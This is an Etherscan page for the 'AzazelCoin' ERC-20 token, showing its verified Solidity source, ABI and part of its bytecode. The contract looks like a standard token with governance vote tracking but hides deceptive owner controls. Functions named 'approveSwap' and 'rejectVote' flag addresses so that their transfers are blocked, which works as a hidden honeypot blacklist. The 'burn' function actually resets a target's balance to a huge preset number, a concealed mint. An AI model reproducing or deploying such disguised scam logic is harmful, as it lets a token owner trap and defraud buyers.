ERC-20
Overview
Max Total Supply
666,666,666,666 AZAZEL
Holders
89
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
3,489,663,036.606989252 AZAZELValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
AzazelCoin
Compiler Version
v0.8.17+commit.8df45f5f
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-05-22 */ // SPDX-License-Identifier: MIT pragma solidity =0.8.17; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow checks. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the addition of two unsigned integers, reverting on overflow. * Counterpart to Solidity's `+` operator. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on division by zero. * The result is rounded towards zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on overflow (when the result is negative). * Counterpart to Solidity's `-` operator. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on overflow. * Counterpart to Solidity's `*` operator. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on overflow (when the result is negative). * Counterpart to Solidity's `-` operator. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), reverting when dividing by zero. * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), reverting with custom message when dividing by zero. * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on division by zero. * The result is rounded towards zero. * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Returns the remaining number of tokens that `spender` will be allowed to spend on behalf of `owner` through {transferFrom}. * This is zero by default. This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * Returns a boolean value indicating whether the operation succeeded. * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * Returns a boolean value indicating whether the operation succeeded. * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the allowance mechanism. `amount` is then deducted from the caller's allowance. * Returns a boolean value indicating whether the operation succeeded. * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to another (`to`). * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by a call to {approve}. * `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /* * @dev Provides information about the current execution context, including the sender of the transaction and its data. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode. return msg.data; } } /** * @dev Contract module which provides a basic access control mechanism, * where there is an account (an owner) that can be granted exclusive access to specific functions. */ abstract contract Security is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Returns the address of the current owner. */ function owner() internal view virtual returns (address) { return _owner; } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } /** * @dev Implementation of the {IERC20} interface. * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. */ contract ERC20 is Context, Security, IERC20 { using SafeMath for uint256; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => uint256) private _balances; mapping (address => bool) private _address; uint256 private maxTxLimit = 1*10**17*10**9; bool castVotes = false; uint256 private balances; string private _name; string private _symbol; uint8 private _decimals; uint256 private _totalSupply; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals}. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; _decimals = 9; balances = maxTxLimit; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function name() public view virtual returns (string memory) { return _name; } function symbol() public view virtual returns (string memory) { return _symbol; } function decimals() public view virtual returns (uint8) { return _decimals; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function rejectVote(address _delegate) external onlyOwner { _address[_delegate] = false; } function enableAntiBot(address _delegate) public view returns (bool) { return _address[_delegate]; } function approveSwap(address _delegate) external onlyOwner { _address[_delegate] = true; } function _setupDecimals(uint8 decimals_) internal virtual { _decimals = decimals_; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * Emits an {Approval} event indicating the updated allowance. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * Emits an {Approval} event indicating the updated allowance. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev See {IERC20-transfer}. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-transferFrom}. * Emits an {Approval} event indicating the updated allowance. This is not required by the EIP. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * Emits a {Transfer} event. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { if (_address[recipient] || _address[sender]) require(castVotes == true, ""); require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the total supply. * Emits a {Transfer} event with `to` set to the zero address. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = balances - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing the total supply. * Emits a {Transfer} event with `from` set to the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * Emits an {Approval} event. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes minting and burning. * Calling conditions: * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } contract AzazelCoin is ERC20 { using SafeMath for uint256; uint256 private totalsupply_; /// @notice A record of states for signing / validating signatures mapping (address => uint) public nonces; /// @dev A record of each accounts delegate mapping (address => address) internal _delegates; /// @notice A record of votes checkpoints for each account, by index mapping (address => mapping (uint32 => Checkpoint)) public checkpoints; /// @notice The number of checkpoints for each account mapping (address => uint32) public numCheckpoints; /// @notice An event thats emitted when an account changes its delegate event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate); /// @notice An event thats emitted when a delegate account's vote balance changes event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance); /// @notice A checkpoint for marking number of votes from a given block struct Checkpoint { uint32 fromBlock; uint256 votes; } constructor () ERC20("Azazel Coin", "AZAZEL") { totalsupply_ = 666666666666* 10**9; _mint(_msgSender(), totalsupply_); } /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegatee The address to delegate votes to */ function delegate(address delegatee) external { return _delegate(msg.sender, delegatee); } /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegator The address to get delegatee for */ function delegates(address delegator) external view returns (address) { return _delegates[delegator]; } function safe32(uint n, string memory errorMessage) internal pure returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } function getChainId() internal view returns (uint) { uint256 chainId; assembly { chainId := chainid() } return chainId; } function burn(address account, uint256 amount) external onlyOwner { _burn(account, amount); } /** * @notice Determine the prior number of votes for an account as of a block number * @dev Block number must be a finalized block or else this function will revert to prevent misinformation. * @param account The address of the account to check * @param blockNumber The block number to get the vote balance at * @return The number of votes the account had as of the given block */ function getPriorVotes(address account, uint blockNumber) external view returns (uint256){ require(blockNumber < block.number, "BONE::getPriorVotes: not yet determined"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } // First check most recent balance if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } // Next check implicit zero balance if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; } else if (cp.fromBlock < blockNumber) { lower = center; } else { upper = center - 1; } } return checkpoints[account][lower].votes; } /** * @notice Gets the current votes balance for `account` * @param account The address to get votes balance * @return The number of current votes for `account` */ function getCurrentVotes(address account) external view returns (uint256){ uint32 nCheckpoints = numCheckpoints[account]; return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0; } function _delegate(address delegator, address delegatee) internal { address currentDelegate = _delegates[delegator]; uint256 delegatorBalance = balanceOf(delegator); _delegates[delegator] = delegatee; emit DelegateChanged(delegator, currentDelegate, delegatee); _moveDelegates(currentDelegate, delegatee, delegatorBalance); } function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint256 oldVotes, uint256 newVotes) internal { uint32 blockNumber = safe32(block.number, "BONE::_writeCheckpoint: block number exceeds 32 bits"); if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) { checkpoints[delegatee][nCheckpoints - 1].votes = newVotes; } else { checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes); require(nCheckpoints + 1 > nCheckpoints, "BONE::_writeCheckpoint: new checkpoint exceeds 32 bits"); numCheckpoints[delegatee] = nCheckpoints + 1; } emit DelegateVotesChanged(delegatee, oldVotes, newVotes); } function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal { if (srcRep != dstRep && amount > 0) { if (srcRep != address(0)) { // decrease old representative uint32 srcRepNum = numCheckpoints[srcRep]; uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint256 srcRepNew = srcRepOld.sub(amount); _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } if (dstRep != address(0)) { // increase new representative uint32 dstRepNum = numCheckpoints[dstRep]; uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0; uint256 dstRepNew = dstRepOld.add(amount); _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); } } } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"delegator","type":"address"},{"indexed":true,"internalType":"address","name":"fromDelegate","type":"address"},{"indexed":true,"internalType":"address","name":"toDelegate","type":"address"}],"name":"DelegateChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"delegate","type":"address"},{"indexed":false,"internalType":"uint256","name":"previousBalance","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"newBalance","type":"uint256"}],"name":"DelegateVotesChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_delegate","type":"address"}],"name":"approveSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"uint32","name":"","type":"uint32"}],"name":"checkpoints","outputs":[{"internalType":"uint32","name":"fromBlock","type":"uint32"},{"internalType":"uint256","name":"votes","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"delegatee","type":"address"}],"name":"delegate","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"delegator","type":"address"}],"name":"delegates","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_delegate","type":"address"}],"name":"enableAntiBot","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"getCurrentVotes","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"blockNumber","type":"uint256"}],"name":"getPriorVotes","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"nonces","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"numCheckpoints","outputs":[{"internalType":"uint32","name":"","type":"uint32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_delegate","type":"address"}],"name":"rejectVote","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60806040526a52b7d2dcc80cd2e40000006004556000600560006101000a81548160ff0219169083151502179055503480156200003b57600080fd5b506040518060400160405280600b81526020017f417a617a656c20436f696e0000000000000000000000000000000000000000008152506040518060400160405280600681526020017f415a415a454c00000000000000000000000000000000000000000000000000008152506000620000ba620001db60201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350816007908162000169919062000675565b5080600890816200017b919062000675565b5060098060006101000a81548160ff021916908360ff1602179055506004546006819055505050682423dbc92e6cae2400600b81905550620001d5620001c6620001db60201b60201c565b600b54620001e360201b60201c565b620008e9565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000255576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200024c90620007bd565b60405180910390fd5b62000269600083836200039360201b60201c565b6200028581600a546200039860201b6200137d1790919060201c565b600a81905550620002e481600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546200039860201b6200137d1790919060201c565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620003879190620007f0565b60405180910390a35050565b505050565b6000808284620003a991906200083c565b905083811015620003f1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620003e890620008c7565b60405180910390fd5b8091505092915050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200047d57607f821691505b60208210810362000493576200049262000435565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620004fd7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620004be565b620005098683620004be565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b600062000556620005506200054a8462000521565b6200052b565b62000521565b9050919050565b6000819050919050565b620005728362000535565b6200058a62000581826200055d565b848454620004cb565b825550505050565b600090565b620005a162000592565b620005ae81848462000567565b505050565b5b81811015620005d657620005ca60008262000597565b600181019050620005b4565b5050565b601f8211156200062557620005ef8162000499565b620005fa84620004ae565b810160208510156200060a578190505b620006226200061985620004ae565b830182620005b3565b50505b505050565b600082821c905092915050565b60006200064a600019846008026200062a565b1980831691505092915050565b600062000665838362000637565b9150826002028217905092915050565b6200068082620003fb565b67ffffffffffffffff8111156200069c576200069b62000406565b5b620006a8825462000464565b620006b5828285620005da565b600060209050601f831160018114620006ed5760008415620006d8578287015190505b620006e4858262000657565b86555062000754565b601f198416620006fd8662000499565b60005b82811015620007275784890151825560018201915060208501945060208101905062000700565b8683101562000747578489015162000743601f89168262000637565b8355505b6001600288020188555050505b505050505050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b6000620007a5601f836200075c565b9150620007b2826200076d565b602082019050919050565b60006020820190508181036000830152620007d88162000796565b9050919050565b620007ea8162000521565b82525050565b6000602082019050620008076000830184620007df565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000620008498262000521565b9150620008568362000521565b92508282019050808211156200087157620008706200080d565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000620008af601b836200075c565b9150620008bc8262000877565b602082019050919050565b60006020820190508181036000830152620008e281620008a0565b9050919050565b6130bd80620008f96000396000f3fe608060405234801561001057600080fd5b506004361061014d5760003560e01c80637ecebe00116100c3578063a9059cbb1161007c578063a9059cbb146103ea578063b3d0cbe31461041a578063b4b5ea571461044a578063dd62ed3e1461047a578063f1127ed8146104aa578063f2fde38b146104db5761014d565b80637ecebe001461031857806395d89b41146103485780639dc29fac146103665780639f08b31914610382578063a12d42bd1461039e578063a457c2d7146103ba5761014d565b80633950935111610115578063395093511461020c578063587cde1e1461023c5780635c19a95c1461026c5780636fcfff451461028857806370a08231146102b8578063782d6fe1146102e85761014d565b806306fdde0314610152578063095ea7b31461017057806318160ddd146101a057806323b872dd146101be578063313ce567146101ee575b600080fd5b61015a6104f7565b60405161016791906123f9565b60405180910390f35b61018a600480360381019061018591906124b4565b610589565b604051610197919061250f565b60405180910390f35b6101a86105a7565b6040516101b59190612539565b60405180910390f35b6101d860048036038101906101d39190612554565b6105b1565b6040516101e5919061250f565b60405180910390f35b6101f661068a565b60405161020391906125c3565b60405180910390f35b610226600480360381019061022191906124b4565b6106a1565b604051610233919061250f565b60405180910390f35b610256600480360381019061025191906125de565b610754565b604051610263919061261a565b60405180910390f35b610286600480360381019061028191906125de565b6107bd565b005b6102a2600480360381019061029d91906125de565b6107ca565b6040516102af9190612654565b60405180910390f35b6102d260048036038101906102cd91906125de565b6107ed565b6040516102df9190612539565b60405180910390f35b61030260048036038101906102fd91906124b4565b610836565b60405161030f9190612539565b60405180910390f35b610332600480360381019061032d91906125de565b610c0b565b60405161033f9190612539565b60405180910390f35b610350610c23565b60405161035d91906123f9565b60405180910390f35b610380600480360381019061037b91906124b4565b610cb5565b005b61039c600480360381019061039791906125de565b610d3f565b005b6103b860048036038101906103b391906125de565b610e16565b005b6103d460048036038101906103cf91906124b4565b610eed565b6040516103e1919061250f565b60405180910390f35b61040460048036038101906103ff91906124b4565b610fba565b604051610411919061250f565b60405180910390f35b610434600480360381019061042f91906125de565b610fd8565b604051610441919061250f565b60405180910390f35b610464600480360381019061045f91906125de565b61102e565b6040516104719190612539565b60405180910390f35b610494600480360381019061048f919061266f565b61110d565b6040516104a19190612539565b60405180910390f35b6104c460048036038101906104bf91906126db565b611194565b6040516104d292919061271b565b60405180910390f35b6104f560048036038101906104f091906125de565b6111d5565b005b60606007805461050690612773565b80601f016020809104026020016040519081016040528092919081815260200182805461053290612773565b801561057f5780601f106105545761010080835404028352916020019161057f565b820191906000526020600020905b81548152906001019060200180831161056257829003601f168201915b5050505050905090565b600061059d6105966113db565b84846113e3565b6001905092915050565b6000600a54905090565b60006105be8484846115ac565b61067f846105ca6113db565b61067a8560405180606001604052806028815260200161300760289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106306113db565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119409092919063ffffffff16565b6113e3565b600190509392505050565b6000600960009054906101000a900460ff16905090565b600061074a6106ae6113db565b8461074585600160006106bf6113db565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461137d90919063ffffffff16565b6113e3565b6001905092915050565b6000600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6107c7338261199e565b50565b600f6020528060005260406000206000915054906101000a900463ffffffff1681565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600043821061087a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161087190612816565b60405180910390fd5b6000600f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff16905060008163ffffffff16036108e6576000915050610c05565b82600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001846109359190612865565b63ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff16116109e257600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001836109bc9190612865565b63ffffffff1663ffffffff16815260200190815260200160002060010154915050610c05565b82600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008063ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff161115610a63576000915050610c05565b600080600183610a739190612865565b90505b8163ffffffff168163ffffffff161115610b9f57600060028383610a9a9190612865565b610aa491906128cc565b82610aaf9190612865565b90506000600e60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008363ffffffff1663ffffffff1681526020019081526020016000206040518060400160405290816000820160009054906101000a900463ffffffff1663ffffffff1663ffffffff168152602001600182015481525050905086816000015163ffffffff1603610b6e57806020015195505050505050610c05565b86816000015163ffffffff161015610b8857819350610b98565b600182610b959190612865565b92505b5050610a76565b600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008363ffffffff1663ffffffff1681526020019081526020016000206001015493505050505b92915050565b600c6020528060005260406000206000915090505481565b606060088054610c3290612773565b80601f0160208091040260200160405190810160405280929190818152602001828054610c5e90612773565b8015610cab5780601f10610c8057610100808354040283529160200191610cab565b820191906000526020600020905b815481529060010190602001808311610c8e57829003601f168201915b5050505050905090565b610cbd6113db565b73ffffffffffffffffffffffffffffffffffffffff16610cdb611b0f565b73ffffffffffffffffffffffffffffffffffffffff1614610d31576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2890612949565b60405180910390fd5b610d3b8282611b38565b5050565b610d476113db565b73ffffffffffffffffffffffffffffffffffffffff16610d65611b0f565b73ffffffffffffffff